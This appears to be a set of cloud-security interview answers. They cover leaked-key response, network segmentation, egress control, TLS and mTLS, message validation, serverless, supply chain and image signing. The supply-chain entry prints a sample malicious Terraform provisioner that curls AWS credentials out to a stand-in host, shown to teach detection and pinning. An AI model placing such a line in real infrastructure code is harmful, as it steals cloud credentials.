aws cloudtrail lookup-events --region eu-west-1 \
  --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA… \
  --start-time 2024-05-01T09:00:00Z

Export to S3 now, before it ages out or someone stops a trail. 6. Rotate every other secret in the same commit. Rewriting git history is theatre: the blob was cloned, forked and scraped within minutes of the push.

By end of day one.

  • Identities created in the window: iam:CreateUser, CreateAccessKey, CreateLoginProfile, AttachUserPolicy, PutRolePolicy, UpdateAssumeRolePolicy, CreatePolicyVersion, AddUserToGroup. Each is compromised until explained. Disable the keys, delete the users, revert the trust policies.
  • Compute and code: ec2:RunInstances in regions you don't use (mining is the usual monetisation), lambda:CreateFunction/UpdateFunctionCode, ECS tasks, CodeBuild, EventBridge rules, SSM documents.
  • Detection tampering: cloudtrail:StopLogging, DeleteTrail, GuardDuty disabled, Config recorder stopped. Check these first: if the trail was stopped, your window is shorter than you think.
  • Data read: S3 GetObject is a data event and off by default, so the exfil is usually absent from CloudTrail. Fall back to S3 server access logs (requester canonical ID and source IP, not the access key ID), Storage Lens, and bucket request metrics; correlate on IP and time. If you can't bound it, say so rather than implying the bucket was untouched.
  • Cost: Cost Explorer by region and service for the window. Mining and egress charges are the fastest signal something ran.

What each step stops, and what it leaves open.

StepStopsLeaves open
disable the keynew requests signed with the secretsessions already minted (1–12 h; 36 h with MFA)
deny on aws:TokenIssueTimelive temporary credentials from that key, where the service passes the keycalls already made; anything minted outside that key
delete the key, scrub the committhe secret at its originclones, forks, scraper copies: already taken
CloudTrail on the key IDnothing; this is measurementevents older than 90 days, other regions, data events never enabled
persistence huntwhat the attacker left runningopen until the list is empty and evidenced

The pattern that makes this matter: a key committed at 09:14 UTC, reported five days later, deleted in six minutes, ticket closed. Eleven days on, a bucket review surfaced 2.4 TB pulled from an analytics bucket between 02:10 and 05:40 the night after the commit, and CloudTrail held iam:CreateUser and iam:CreateAccessKey 41 minutes after the commit. The attacker's second key was still valid and appeared nowhere in the report. (Composite example; figures invented.)

Closure. You can't prove a negative; you can state a bounded, evidenced one. Over means: the key no longer exists; 36 hours have passed since the last minted session; every CloudTrail event for that key ID and for every identity created in the window is enumerated and explained; the persistence list is empty; the data exposure is bounded or the gap documented; and long-lived keys are replaced by SSO or role assumption.

Curated: · Written: · Reviewed:

Q&A-79An access key attached to an identity with broad read and write across production has been in a public repository for six weeks. How do you size the blast radius?

I would settle blast radius of a leaked access key by attempting the action the control is supposed to stop.

Permissions bound what could have happened; the audit trail bounds what you can prove happened, and the gap between them is unmeasured exposure. Scope starts from every account the identity can reach through role assumption, not from the repository or the account that issued the key.

Concretely, start by deactivating the key and exporting the audit trail before anything else, so the window stops growing and the evidence survives your own response. Then measure worst case from the identity's reach in every account and truth from events on that key ID since the commit timestamp, report the two numbers separately, and replace the standing key with short-lived credentials.

The reason for that specificity is a failure I have seen: An access key on a CI identity had been public for 19 days. IAM showed no last-used date and the credential report could not be regenerated for another three hours, so the team reported "no evidence of use" and spent two days on a least-privilege rewrite instead of a compromise assessment. The identity could assume a deploy role in the data account through a trust policy with no external ID and no source-account condition, and that account's S3 data events had been switched off to save roughly $400 a month in CloudTrail charges. When egress billing later showed 1.1 TB leaving an analytics VPC inside the window, there was no object-level record to attribute it or exclude it. Silence had been filed as a finding.

Two bounds on the same exposure: what each measurement source actually establishes.

SourceEstablishesBlind spot
IAM evaluation: identity policy, boundary, SCP, session policy, then every cross-account trustthe upper bound. Actions and resources the key could reach, per accountwhether any of it happened
CloudTrail management events (Event history keeps 90 days; trails keep what you retain)calls signed with that key ID: AssumeRole, CreateUser, PutBucketPolicydata-plane calls, regions or services outside the trail, anything past retention
CloudTrail data events (S3 object, Lambda invoke): off by default, list price ≈ $0.10 per 100,000 recordedwhich objects were read and which functions were invokednothing at all if never enabled; silence is not evidence
GetAccessKeyLastUsed and the credential reportkey age, last-used date, service and region, whether it was ever rotateda report you can regenerate only once every four hours
VPC flow logs and NAT/egress billingdata leaving the estate: often the first signal when the trail is thinattribution to a key once the session assumed other roles

I would not consider it settled without evidence: Show the two bounds side by side: the CloudTrail query that filters events on the access key ID from the commit timestamp, and the permission evaluation that lists every account and role the identity can reach. Then name the services where no data-plane event exists at all, so the report states an upper bound and a proven set rather than one confident number.

Permissions bound the worst case, evidence bounds the truth: report both or you have mis-sized the incident.

Curated: · Written: · Reviewed:

Q&A-23Traffic to a managed service stays inside the provider network. Is that private?

No. Private connectivity is a property of the path, not of the permission. Traffic that never touches the public internet still arrives at a service endpoint every other customer of that provider can also reach, and the endpoint tells you nothing about who is authorised.

What actually happens. An AWS interface VPC endpoint is an elastic network interface in your subnet with a private IP, fronting an NLB-backed endpoint service. Packets go from your instance to that ENI and over the AWS backbone: no internet gateway, no NAT, no public IP. Azure Private Endpoint and GCP Private Service Connect work the same way. That removes internet exposure. It does not create a trust boundary: for AWS-managed services like S3, SQS or KMS the endpoint service is public-facing, so any account can stand up its own endpoint to the same service. Yours is one of thousands of on-ramps.

The control that decides. Authorisation stays in the resource policy and the identity policy. The endpoint is only useful as a condition on that policy:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "DenyOutsideOurEndpoint",
    "Effect": "Deny",
    "Principal": "*",
    "Action": "s3:*",
    "Resource": ["arn:aws:s3:::acme-reports", "arn:aws:s3:::acme-reports/*"],
    "Condition": {
      "StringNotEquals": { "aws:SourceVpce": "vpce-0a1b2c3d4e5f67890" }
    }
  }]
}

aws:SourceVpce is populated only when the request arrives through a VPC endpoint, and negated string operators evaluate true when the key is absent, so this Deny fires for public-internet requests and for requests arriving through someone else's endpoint. aws:SourceVpc does the same job for S3 and DynamoDB gateway endpoints; aws:PrincipalOrgID is the coarser org-wide version. Note the side effect: this also blocks your own console and CLI access unless those callers go through the endpoint or you carve out an exception.

Failure mode. A team I worked with had a private endpoint and a resource policy of Principal: "*" scoped by account. A compromised workload in a partner account used its own VPC endpoint to reach the same bucket. The request arrived with aws:SourceVpce set, just not to their endpoint ID, so a "deny if no VPC endpoint" rule would have passed it. Detection: CloudTrail records vpcEndpointId on S3 data events; alert on any vpcEndpointId outside your allowlist, and on AccessDenied spikes from unfamiliar source accounts.

ControlBlocks public-internet pathBlocks wrong principalBlocks right principal via wrong path
Private endpoint aloneyesnono
Resource policy alonenoyesno
Both, plus aws:SourceVpce conditionyesyesyes

Verification. Don't call it settled until you've tried it: take valid credentials, call the service from a host outside the private path (a laptop, or a throwaway VPC with its own endpoint) and confirm you get AccessDenied. Then confirm the same call succeeds from inside. If the first call succeeds, the endpoint was decoration.

When not to use it. If the service is only ever reached by principals in your own organisation, aws:PrincipalOrgID is simpler than maintaining an endpoint-ID allowlist. And if the requirement is data residency rather than network isolation, PrivateLink doesn't help: the data still lands in the provider's region.

Private networking narrows the path. It does not grant or withhold permission.

Curated: · Written: · Reviewed:

Q&A-76A web tier calls an app tier that calls a managed database, and every call is authorised. Where do the network boundaries go so one compromised tier cannot reach the rest of the estate?

Assumptions: one cloud account, VPC-based networking, a managed relational database (RDS/Aurora-style). The shape holds elsewhere; the control names change.

The 90-second answer

Three boundaries, one per hop, each enforced by the network rather than by the caller's credentials:

  1. Internet → web tier. Load balancer in public subnets; web instances in private subnets with no route to an internet gateway.
  2. Web → app. App tier in its own subnets; its security group accepts the service port only from the web tier's security group.
  3. App → database. Database in private subnets, PubliclyAccessible = false, reachable only from the app tier's security group, and only via a private address or VPC endpoint.

The rule that makes this hold: every inbound rule names a source security group, never a CIDR. A CIDR rule is a promise about IP allocation that decays as subnets are added; a group reference is a promise about identity that the platform re-evaluates whenever an ENI changes.

Why identity alone doesn't bound this

IAM answers "may this principal call this API". It is evaluated by the target service, after the TCP connection is established, and only if the target has an authoriser. Redis, Memcached, an unauthenticated admin port, a debug endpoint, and the instance metadata service have none: the packet arriving is the whole authorisation. The network is the only control that covers services which never ask who you are.

Egress is half the boundary and usually the missing half. A newly created security group has no inbound rules but allows all outbound traffic; if the app tier keeps that, a compromised host can reach the database subnet directly, reach the metadata endpoint, or exfiltrate anywhere. Restrict egress to specific destination groups and ports, and require IMDSv2 with a hop limit of 1.

Worked example (illustrative figures)

An app-tier group still carried allow all from 10.0.0.0/8, left over from a migration. A deserialization bug gave code execution on one host. The attacker enumerated the VPC in under a minute and found Redis on 6379 with no requirepass, holding cached session tokens. The workload's IAM policy limited it to two services and was never consulted: Redis has no authoriser to consult.

Rule setHosts reachable from the compromised app hostDatabase exposure
allow all from 10.0.0.0/8every host in the VPCpublic and private endpoints
per-tier groups, private endpoint, public access offthe database endpoint onlyprivate endpoint only

Trade-offs

  • Separate accounts per tier is the strongest boundary (no shared VPC, no accidental peering) and costs cross-account networking and observability plumbing. Worth it for the data tier.
  • NACLs add a stateless subnet-level deny as a backstop against a mis-added group rule, but must be mirrored in both directions and are easy to get wrong.
  • Service mesh with mTLS gives identity-based L4/L7 policy between workloads, stronger than IP rules inside a tier, but it does not replace subnet isolation, because the mesh control plane and sidecar ports are themselves reachable.
  • VPC endpoints (PrivateLink) keep traffic off the internet and out of NAT, at the cost of per-endpoint hourly and per-GB charges.

Failure modes and how to detect them

  • Stale allow-all rule → diff aws ec2 describe-security-groups against policy in CI; alert on any tier-group rule whose source is a CIDR wider than /32.
  • Database publicly accessible → check the RDS PubliclyAccessible flag and confirm the endpoint resolves to a private address.
  • Flat peering or transit gateway re-connecting tiers → VPC Reachability Analyzer path from web tier to database should report not reachable.
  • Egress allow-all → same analyzer, source = app tier, destination = 0.0.0.0/0.

Evidence I'd want before calling it done

From a shell on a web-tier host, nc -vz -w2 <db-endpoint> 5432 must time out. From an app-tier host the same command must connect. And aws rds describe-db-instances must show PubliclyAccessible: false with the endpoint inside a private subnet's CIDR range.

Curated: · Written: · Reviewed:

Q&A-24How would you stop data leaving through a compromised workload?

What I'd say first

Assume the workload is already compromised: it has the network reach and credentials its role grants, and I can't rely on its code. So the job is to bound where it can send bytes and make every attempt visible. Default-deny egress, allow the few destinations the workload actually needs, and log destination plus volume on everything else.

The controls, and what each buys you

ControlGranularityRecordsMisses
Security-group egress rulesCIDR + portnothing by itself; VPC Flow Logs add 5-tuple + bytesFQDNs; CDN and cloud IPs shared across tenants
NAT gateway + VPC Flow LogsCIDR + port5-tuple, bytes per connection (CloudWatch BytesOutToDestination)destination hostname, content
Private endpoints (PrivateLink / VPC endpoints)AWS service + endpoint policyendpoint-levelanything outside AWS
Forward proxy with SNI allowlisthostnameFQDN, bytes, TLS SNIURL path unless you intercept TLS
Proxy + TLS interception + DLPURL + contentpayload patterns (keys, PANs)encrypted or novel formats; breaks cert pinning

Deciding criteria: do I need hostname-level control (then a proxy), or is the destination set fixed and small (then security-group egress rules plus flow logs are enough)? Is the traffic all to AWS services (then private endpoints remove internet egress entirely)? Do I need to inspect content (then DLP, and accept the interception cost)?

When the proxy isn't worth it: a handful of workloads with a fixed destination list. A security group with those CIDRs and VPC Flow Logs gets you most of the way for none of the operational cost. A proxy is another HA pair to run, adds a hop, and TLS interception breaks certificate pinning and mTLS, so it can't be dropped in front of everything.

Failure modes

  • DNS. Allowlisting destinations doesn't stop a workload resolving data.attacker.com and tunnelling over DNS to a resolver you didn't restrict. Restrict resolvers too.
  • IP allowlists rot. Cloud and CDN destinations share IPs; an allowlist by IP either breaks the app or is wide enough to be useless. Allowlist by SNI where you can.
  • The proxy is a choke point. If it fails open, you've built nothing.

The failure I've seen

A compromised workload pushed 400 GB to an external storage provider over 6 days. Ingress rules were tight, egress was unrestricted, and no record of the destination existed.

PostureDestination recordedVolume alertDays to detect
unrestrictednononever
logged proxyyesno6
allowlist + volume alertyesyesunder 1

How I'd confirm it

From a workload, attempt an outbound transfer to an unapproved destination and confirm it's blocked or at least logged with destination and byte count. Then attempt the same over DNS.

Curated: · Written: · Reviewed:

Q&A-54What causes most TLS certificate outages, and how do you prevent them?

The 60-second answer

Certificate expiry is a known date, so an expiry outage is never a surprise: it is a monitoring or automation gap. The certificates that cause outages are the ones outside your managed pipeline: internal services, appliances, certs issued by hand, certs from a CA you forgot you had. Prevention is three things: automate issuance and renewal with ACME, discover certificates by scanning the estate rather than trusting an inventory, and alert on expiry with a named owner. The certificate that takes you down is the one not in the list.

Mechanism

When a cert expires, the TLS handshake fails before any application logic runs: the server sends a fatal certificate_expired alert (TLS alert 45) and the connection drops. There is no graceful degradation: every client fails at once, and the failure looks like a network problem until someone checks the cert.

Named tooling and defaults

  • ACME (RFC 8555) is the protocol; Let's Encrypt issues 90-day certs. certbot and cert-manager renew when fewer than 30 days remain, giving a 30-day window to notice and fix a broken renewal before the outage.
  • DNS-01 challenges are required for wildcards and for hosts not reachable on port 80; that means storing DNS provider API credentials, which is a new secret to protect.
  • Prometheus blackbox_exporter exposes probe_ssl_earliest_cert_expiry; alert on it at 21 days remaining with the cert's owner in the alert.
  • Public CAs must publish to Certificate Transparency logs; internal CAs usually do not, so CT monitoring only covers your public surface.

Trade-offs

Automation is not free. ACME needs challenge reachability and a credential path to your DNS or web server; on air-gapped networks, HSM-backed CAs, or appliances whose vendor does not support ACME, you cannot run it. Manual issuance is acceptable there, but only with a calendar entry, a named owner, and an external expiry monitor, because the cert is now outside the automated safety net. The alternative to long-lived certs plus monitoring is short-lived certs (SPIFFE/SPIRE issues hours-long identities): smaller blast radius if one leaks, but automation must be reliable, because a broken renewal fails in hours, not weeks.

Failure modes and detection

  • Cert issued by hand, not in inventory → no monitor fires. Detect by scanning the estate and reconciling against the inventory.
  • Renewal succeeds but the service does not reload the new cert → still serving the old one. Detect by checking the served cert's serial and notAfter, not the file on disk.
  • ACME rate limit hit (Let's Encrypt: 50 certs per registered domain per week) → renewal silently fails. Detect by alerting on renewal job failure, not just expiry.

Worked example (hypothetical figures)

SourceCerts foundMonitored
Inventory210210
Network scan247210
Unmonitored370

The scan finds 37 certs the inventory missed: 15% of the estate. Those are the ones that expire unannounced.

Curated: · Written: · Reviewed:

Q&A-55When is mutual TLS worth its operational cost?

The 90-second version

Ask two questions before adopting it. What identity do you need to establish, and can you automate issuance? mTLS earns its cost when the answer is "workload identity across a network I don't control" and "yes, a platform issues and rotates the certificates." It does not earn it when the network is already a single trust boundary, or when the identity you actually need is the end user's. mTLS authenticates the process, not the person, and it grants no authorization: you still need an authorization layer on top of the peer identity it hands you.

What it actually adds

Server-side TLS proves the client reached the right server. mTLS adds a client Certificate and CertificateVerify, so the server learns which workload is calling, using a key that workload holds. That is the whole benefit: a non-replayable, transport-level identity, with no bearer token for an attacker to copy out of a log or a heap dump.

In TLS 1.3 the handshake looks like this:

Client -> ServerHello-less: ClientHello (key_share, signature_algorithms,
                                      certificate_authorities)
Server -> Client: ServerHello (key_share)
Server -> Client: {EncryptedExtensions, CertificateRequest, Certificate,
                   CertificateVerify, Finished}
Client -> Server: {Certificate, CertificateVerify, Finished}

The braces are the encrypted flight. In TLS 1.2, client auth cost an extra round trip: CertificateRequest, then Certificate/ClientKeyExchange/CertificateVerify back. In 1.3 the CertificateRequest rides in the server's flight and the client's certificate rides in its own, so mTLS adds no round trip over server-only TLS 1.3. The handshake is not where the cost lives. The lifecycle is.

Where the cost actually lands

Cost driverManual issuancePlatform issuance (SPIRE, Istio, cert-manager)
Issuanceticket per service, per environmentautomatic, tied to workload identity
TTLlong, because rotation is painfulshort: Istio's default workload certificate TTL is 24 h
RevocationCRL/OCSP, rarely wired up for servicesshort TTL is the revocation mechanism
CA outagetolerable until expiryfleet-wide failure at expiry if the CA is down
Debuggingplaintext tcpdumpencrypted; you need mesh telemetry or a key log

That last row is underrated. Once every hop is encrypted, the packet capture that used to settle an argument is gone, and you are debugging through whatever the mesh exports.

Failure modes, and how you see them

  • Expiry. Handshake fails with TLS alert certificate_expired (45). Detect by alerting on remaining lifetime, not on handshake errors: by the time the alert fires, the outage is live.
  • Trust bundle mismatch after a CA rotation. Alert unknown_ca (48) or bad_certificate (42). Roll the bundle to one workload first and watch its error rate before the fleet.
  • Clock skew. A cert that is not yet valid also surfaces as bad_certificate. NTP drift on a node is the usual cause.
  • Identity mismatch. The handshake succeeds and authorization denies, because the SAN (a SPIFFE ID in the URI SAN, typically) is not what the policy expects. Detect on authorization-denial metrics, not on TLS metrics.
  • Stolen key. mTLS does not help here: the attacker holds a valid key. Short TTL bounds the window; that is the only real mitigation.

The rule I'd state in the room

Adopt mTLS when you have more than one trust domain, a platform that issues and rotates certificates, and a need for workload identity that survives credential-free deployment. Skip it when issuance is manual, when the network is already a single boundary, or when the threat you are worried about is a compromised host: mTLS authenticates the host's key, and a compromised host has it.

Curated: · Written: · Reviewed:

Q&A-43A message arrives on a queue from another service. What do you validate?

Assumptions first. I'd assume the queue is shared, more than one service can publish to it, and the consumer does something with a side effect: writes a row, charges a card, sends mail. If there is exactly one producer and it lives in the same trust domain as the consumer, most of what follows collapses to schema validation. I'd say that out loud, because it changes the answer.

The answer. Arriving on the queue proves nothing about who sent the message or whether it is still relevant. I validate four things, cheapest first:

  1. Publisher identity, enforced at the broker. Kafka ACLs over SASL/SCRAM or mTLS, or an SQS queue policy scoped to specific IAM roles. The consumer reads the principal from the transport, never from a field in the body.
  2. Envelope and schema. Validate against a registered schema (JSON Schema draft 2020-12, or Avro with a schema registry) so malformed or wrong-typed messages are rejected before business logic runs.
  3. Authorization. Does this principal have the right to cause this action on this resource? A permitted publisher is not a permitted actor for every tenant.
  4. Freshness and idempotency. Reject messages whose event time falls outside a window (5 minutes is a common choice), and dedup on the message id with a TTL store so a replay cannot re-trigger the side effect.
ControlEnforced atCost per messageStopsDoes not stop
Broker ACL (SASL/mTLS + topic policy)brokerconfig onlyunknown publishersa compromised permitted publisher
Schema validation (JSON Schema 2020-12 / Avro + registry)consumer or registrysub-millisecondmalformed, wrong-typed, missing fieldsa well-formed lie
Signed origin identity (Ed25519, or HMAC-SHA256 over body + headers)producer signs, consumer verifiessub-millisecondforged tenant/actor fieldsreplay of a genuine message
Freshness + dedup (event time within 5 min; id in Redis SET NX with 24 h TTL)consumerone Redis round tripreplay, duplicate deliverya fresh forged message
def handle(msg):
    # 1. broker already enforced the publisher ACL; principal comes from mTLS/SASL, not the body
    if msg.principal not in ALLOWED_PUBLISHERS[msg.type]:
        return reject("unauthorized publisher")
    # 2. schema
    validate(msg.body, SCHEMAS[msg.type])            # JSON Schema 2020-12
    # 3. authorization: this principal may act on this tenant
    if msg.body["tenant_id"] not in tenants_for(msg.principal):
        return reject("cross-tenant")
    # 4. freshness + dedup
    if abs(now() - msg.body["event_time"]) > 300:    # 5 minutes
        return reject("stale")
    if not redis.set(f"seen:{msg.id}", 1, nx=True, ex=86400):
        return ack()                                  # duplicate, already applied
    apply(msg)

Trace it against two hostile messages. A permitted publisher sends a well-formed body with another tenant's tenant_id: step 1 passes, step 2 passes, step 3 rejects. A genuine message is captured and replayed an hour later: steps 1–3 pass, step 4 finds seen:<id> already set and acks without reapplying.

Trade-offs. Signing is the only control that survives a compromised publisher, and it costs key management and rotation. If the consumer's action is naturally idempotent and cheap, the dedup store is optional. If the queue is internal to one trust domain with one producer, broker ACL plus schema is enough: adding signatures there buys little.

Failure modes. A schema registry in BACKWARD compatibility lets a producer ship a change that breaks older consumers; pin the mode to FULL when consumers deploy independently. Clock skew between producer and consumer silently rejects valid messages at the 5-minute edge: use the broker's timestamp or allow a skew margin. Key rotation without an overlap window drops every message signed by the old key. A message that fails validation repeatedly becomes a poison message; route it to a dead-letter queue with the rejection reason rather than retrying in place.

Curated: · Written: · Reviewed:

Q&A-42What is different about securing a serverless function?

Core answer (first 90 seconds)

Serverless doesn't remove security work, it moves it. You stop owning the host and start owning three things: the identity the function runs as, the principals allowed to invoke it, and the code and dependencies you ship. The provider owns the hypervisor, the runtime and the network below your function. Assume AWS Lambda unless stated otherwise.

That gives four differences worth naming.

1. The execution role is the blast radius. Each function assumes an IAM role, and the runtime injects temporary credentials into the process environment. Anything that can run code in the function (a dependency, an injection bug) gets that role. Scope it to specific actions and resource ARNs:

{ "Effect": "Allow", "Action": ["dynamodb:PutItem"],
  "Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/Orders" }

A "Resource": "*" alongside s3:* is the mistake I see most.

2. Invocation is part of the attack surface. A function's resource-based policy decides who may call lambda:InvokeFunction. If it grants the whole account or Principal: "*", any principal that can reach it, including a compromised low-privilege role, can invoke it and inherit its permissions. The caller never needs the role's permissions, only invoke rights. That is a privilege-escalation path.

3. The event is untrusted input. API Gateway, S3 notifications, SQS and EventBridge all deliver attacker-influenced payloads. Validate shape and content; don't assume the event came from the source you configured.

4. Dependencies are the remaining code surface. Layers and bundles are yours to patch. The runtime is the provider's and is deprecated on a published schedule.

The escalation, concretely

Who can invokeFunction roleEscalation
any principal in the accountdynamodb:* on *yes: caller writes any table
one EventBridge ruledynamodb:PutItem on one tableno
any principal in the accountdynamodb:GetItem on one tablelimited: read only

What's different from a server

No host to patch, no SSH, no long-lived process, but also no host IDS/EDR, so detection shifts to CloudTrail, CloudWatch Logs and GuardDuty Lambda protection. Isolation is per execution environment (a Firecracker microVM), one concurrent invocation per environment, and state doesn't survive between invocations, so you can't cache secrets in memory across calls the way you would in a long-running process. Cold starts re-run init, so fetch secrets per environment, not globally.

Failure modes and how you'd see them

  • Over-broad execution role: CloudTrail shows the function calling APIs it has no business calling.
  • Permissive resource policy: aws lambda get-policy --function-name X lists the invokers.
  • Secret in a plaintext env var: anyone with lambda:GetFunctionConfiguration reads it. Move it to Secrets Manager.

Before calling it done

Enumerate invokers per function and confirm the invoker set is as narrow as the role is powerful. Rotate secrets out of env vars. Pin and scan dependencies.

Curated: · Written: · Reviewed:

Q&A-74What security requirements would you attach to a new internet-facing service?

Internet-facing changes the requirement set in one specific way: the attacker is unauthenticated and can reach every endpoint, so the edge and the public authentication path are the requirements. Internal controls like service-to-service mTLS are not what protects you here.

Assumptions I'd state up front: single public region, one DNS name, no existing edge platform to inherit, and the service handles user data. If any of those is false the list changes.

The requirements I'd attach at launch

  1. TLS terminated at the edge, TLS 1.2 minimum, 1.3 preferred, HSTS with a long max-age. No plaintext listener anywhere, including health checks.
  2. A WAF in front of the origin, in blocking mode for the OWASP rule set, with the origin reachable only from the WAF (security group or private link), not from the internet directly. A WAF you can bypass by hitting the load balancer IP is decoration.
  3. Rate limiting at two scopes: per source IP and per authenticated principal. Login and password-reset endpoints get a tighter bucket than the rest.
  4. Public authentication via OIDC with a phishing-resistant factor (WebAuthn/FIDO2) for anything administrative. Session tokens short-lived, refresh rotated.
  5. Egress restricted to an allowlist of the destinations the service actually calls.
  6. Control-plane and data-plane logging to immutable storage, with the data-plane logs capturing the request identity, not just the status code.
  7. A stated data classification and a key policy that matches it.

Trade-offs, because none of these is free

  • WAF in blocking mode will break legitimate traffic: malformed-but-valid payloads, file uploads, some SDKs. The alternative is count mode first, tune for a week, then block. Count mode is the honest starting point; blocking on day one is how you take an outage from your own edge.
  • Per-IP rate limiting punishes NAT'd corporate traffic and shared mobile carriers; per-principal limiting misses unauthenticated floods. You need both, and the per-IP bucket has to be loose enough not to lock out an office.
  • Egress allowlisting breaks integrations the moment a dependency adds a new endpoint or CDN. That is the cost, and it is why the allowlist needs an owner and a change path, not a static file.
  • Federated identity adds a hard dependency on the IdP: if it is down, nobody logs in. That is usually acceptable for admin access and usually not for customer-facing login, which is why the two paths often differ.

Failure modes and how you'd see them

  • Origin reachable directly: confirm by resolving the load balancer IP and curling it from outside the VPC. If it answers, the WAF is bypassable.
  • Logging enabled but not immutable: an attacker with the app role deletes their own trail. Check that the log-writer role has no delete permission.
  • Rate limit keyed on a header the client controls (X-Forwarded-For without a trusted proxy strip): trivially spoofed, limit never fires.

When this rule does not hold

The "cheap now, expensive later" framing is a prioritisation heuristic, not a law. It breaks when the service is a thin proxy in front of an already-hardened platform, then edge TLS, WAF and rate limiting are inherited and the launch requirements shrink to authn and data handling. It also breaks for a service that is internet-facing but serves only signed, pre-authenticated URLs, where the public authn path is the signature check and OIDC is irrelevant.

RequirementCost at designCost after launch
Data-plane logging~10 minhistory unrecoverable
Origin locked to WAF~1 hbypass found in a scan, not by you
Egress allowlist~6 hweeks of discovery per integration
Federated admin identity~4 hmigration of every existing admin

The test is whether each one is verified against the running service, not the design doc, before launch.

Curated: · Written: · Reviewed:

Q&A-36Where does a cloud workload's supply chain actually begin?

The 90-second answer

It starts earlier than most people draw it: at the base image and the build, not at your requirements.txt. The supply chain is every artifact that executes with your identity: the base image layer, the packages installed into it, your application dependencies, the build system that assembles them, the registry that stores the result, and, for cloud workloads specifically, the infrastructure modules that run with your cloud credentials at apply time.

Assume a workload deployed by CI into one cloud account, with Terraform or equivalent for infra. The boundary is then: anything you didn't write that runs as you.

Why each link is a real link

  • Base image: FROM python:3.12-slim is a mutable tag. Whatever it points to today is what you build tomorrow.
  • Package install: npm postinstall hooks and pip PEP 517 build backends execute code at install/build time, before any of your tests run.
  • Build system: CI holds the credentials that push images and read secrets. A compromised dependency that runs during build inherits them.
  • IaC modules: a Terraform module can contain a null_resource with a local-exec provisioner. That runs on the machine doing terraform apply: the one holding your cloud credentials.

That last one is the part people miss, because it looks like config, not code.

Worked example (hypothetical, but the mechanism is real)

A public module pinned as version = "~> 4.0" gets a patch release adding:

resource "null_resource" "sync" {
  provisioner "local-exec" {
    command = "curl -s -X POST https://example.invalid/c -d @$HOME/.aws/credentials"
  }
}

~> 4.0 allows 4.1, 4.2 and so on, so the next terraform init pulls it. Every apply on every team using the range posts credentials. Detection is not the module diff, nobody reads patch releases, it's egress monitoring plus credentials short-lived enough to expire before they're useful.

Pinning discipline

PinPicks up a malicious patch release
~> 4.0 / ^1.2.3yes, on next resolve
exact version 4.0.7no, until you bump
commit SHA / image digestno, until you bump

Digest pinning is the only one that survives a registry rewriting a tag. It costs you automated patch flow, so pair it with a bot that opens the bump PR and a CI job that rebuilds and re-scans.

Failure modes and how you see them

  • Mutable tag rewritten upstream → same Dockerfile, different image. Detect by diffing the resolved digest per build.
  • Upstream deletion or a yanked package → build fails or, worse, resolves to a typosquat. Mirror what you depend on.
  • Dependency confusion: an internal package name that also exists publicly. Scope internal names and point the resolver at your mirror first.
  • Long-lived CI credentials → one bad postinstall is a production incident. Use OIDC federation so the token lives minutes.

What I'd measure before calling it done

Share of dependencies, including IaC modules and base images, pinned by digest or SHA rather than by range. That number is the honest proxy for how much of your supply chain you actually control.

Curated: · Written: · Reviewed:

Q&A-13How do you know the image running in production is the one your pipeline built?

What I'd say first. Pin by digest, sign that digest, verify the signature and the provenance at admission, and constrain the signer identity. A tag is a mutable pointer in the registry: api:1.4.2 says nothing about the bytes. A digest (api@sha256:9f2c…) is the content address of the manifest, so it is immutable, but it only proves what you pulled, not who built it. Tying the running image to your pipeline needs a signature over that digest whose identity is your build workflow, plus an attestation naming the source commit and builder.

# build (GitHub Actions, permissions: id-token: write)
cosign sign --yes ghcr.io/acme/api@sha256:9f2c…            # keyless: Fulcio cert + Rekor entry
cosign attest --yes --type slsaprovenance \
  --predicate provenance.json ghcr.io/acme/api@sha256:9f2c…

# what admission runs
cosign verify ghcr.io/acme/api@sha256:9f2c… \
  --certificate-identity-regexp '^https://github\.com/acme/api/\.github/workflows/release\.yml@refs/heads/main$' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com

cosign v2 requires --certificate-identity (or -regexp) and --certificate-oidc-issuer on keyless verification. Omit them and any Fulcio-issued certificate passes: anyone with a GitHub account can sign an image that verifies.

ReferenceImmutableTies to sourceDetects registry tamper
tagnonono
digestyesnoyes
digest + cosign signatureyessigner identityyes
+ SLSA provenanceyescommit, builder, paramsyes

Enforce it at admission, not only in CI:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata: {name: verify-images}
spec:
  validationFailureAction: Enforce        # default is Audit: reports, does not block
  webhookConfiguration: {failurePolicy: Fail}
  rules:
    - name: provenance
      match: {any: [{resources: {kinds: [Pod]}}]}
      verifyImages:
        - imageReferences: ["ghcr.io/acme/*"]
          mutateDigest: true
          attestors:
            - entries:
                - keyless:
                    subject: "https://github.com/acme/api/.github/workflows/release.yml@refs/heads/main"
                    issuer: "https://token.actions.githubusercontent.com"
          attestations:
            - predicateType: https://slsa.dev/provenance/v1

Why admission and not just the pipeline. A CI gate is cheaper and fails earlier, but it is bypassable by anyone with cluster write: kubectl apply, a Helm rollback, an operator reconciling a stale spec. Admission is the only chokepoint that sees all of those. The cost is real: with failurePolicy: Fail the webhook sits on the pod-creation critical path, so a Kyverno outage stops every deploy. failurePolicy: Ignore avoids that and silently admits unverified images whenever the webhook is down: pick one deliberately.

Keyless vs a KMS-held key. Keyless (Fulcio issues a short-lived cert bound to the OIDC subject, Rekor logs it) means no long-lived secret to leak or rotate, and the trust anchor is the workflow identity you already control. It depends on Sigstore's public infrastructure at verify time unless you run your own Rekor or ship a bundle. A KMS key (--key awskms:///…, gcpkms://, Vault) works air-gapped with no external dependency, but it is a long-lived secret: whoever holds it forges provenance for anything, and you own rotation.

When it isn't worth it. Single-tenant cluster where one team builds, deploys and holds registry credentials: the signature adds little over digest pinning, and the control that matters is registry write access. If your deploy tooling rewrites tags and can't pin digests, fix that first; it's the cheaper half of the same guarantee.

Failure modes. Tag mutation: an attacker with registry push rights overwrites api:1.4.2; digest pinning makes the kubelet request the original content address and the pull fails loudly instead of running the substitute. With imagePullPolicy: IfNotPresent and a tag, nodes holding a cached image keep running the old one while new nodes get the new one: split-brain across the fleet. Verifying the signature but not the predicate: a valid signature over provenance naming a different repository. Kyverno's default validationFailureAction: Audit reports violations without blocking them. Detect by alerting on admission denials and on Rekor entries for your repository that your pipeline didn't create.

Curated: · Written: · Reviewed:

Q&A-37Where in the pipeline should infrastructure security checks run?

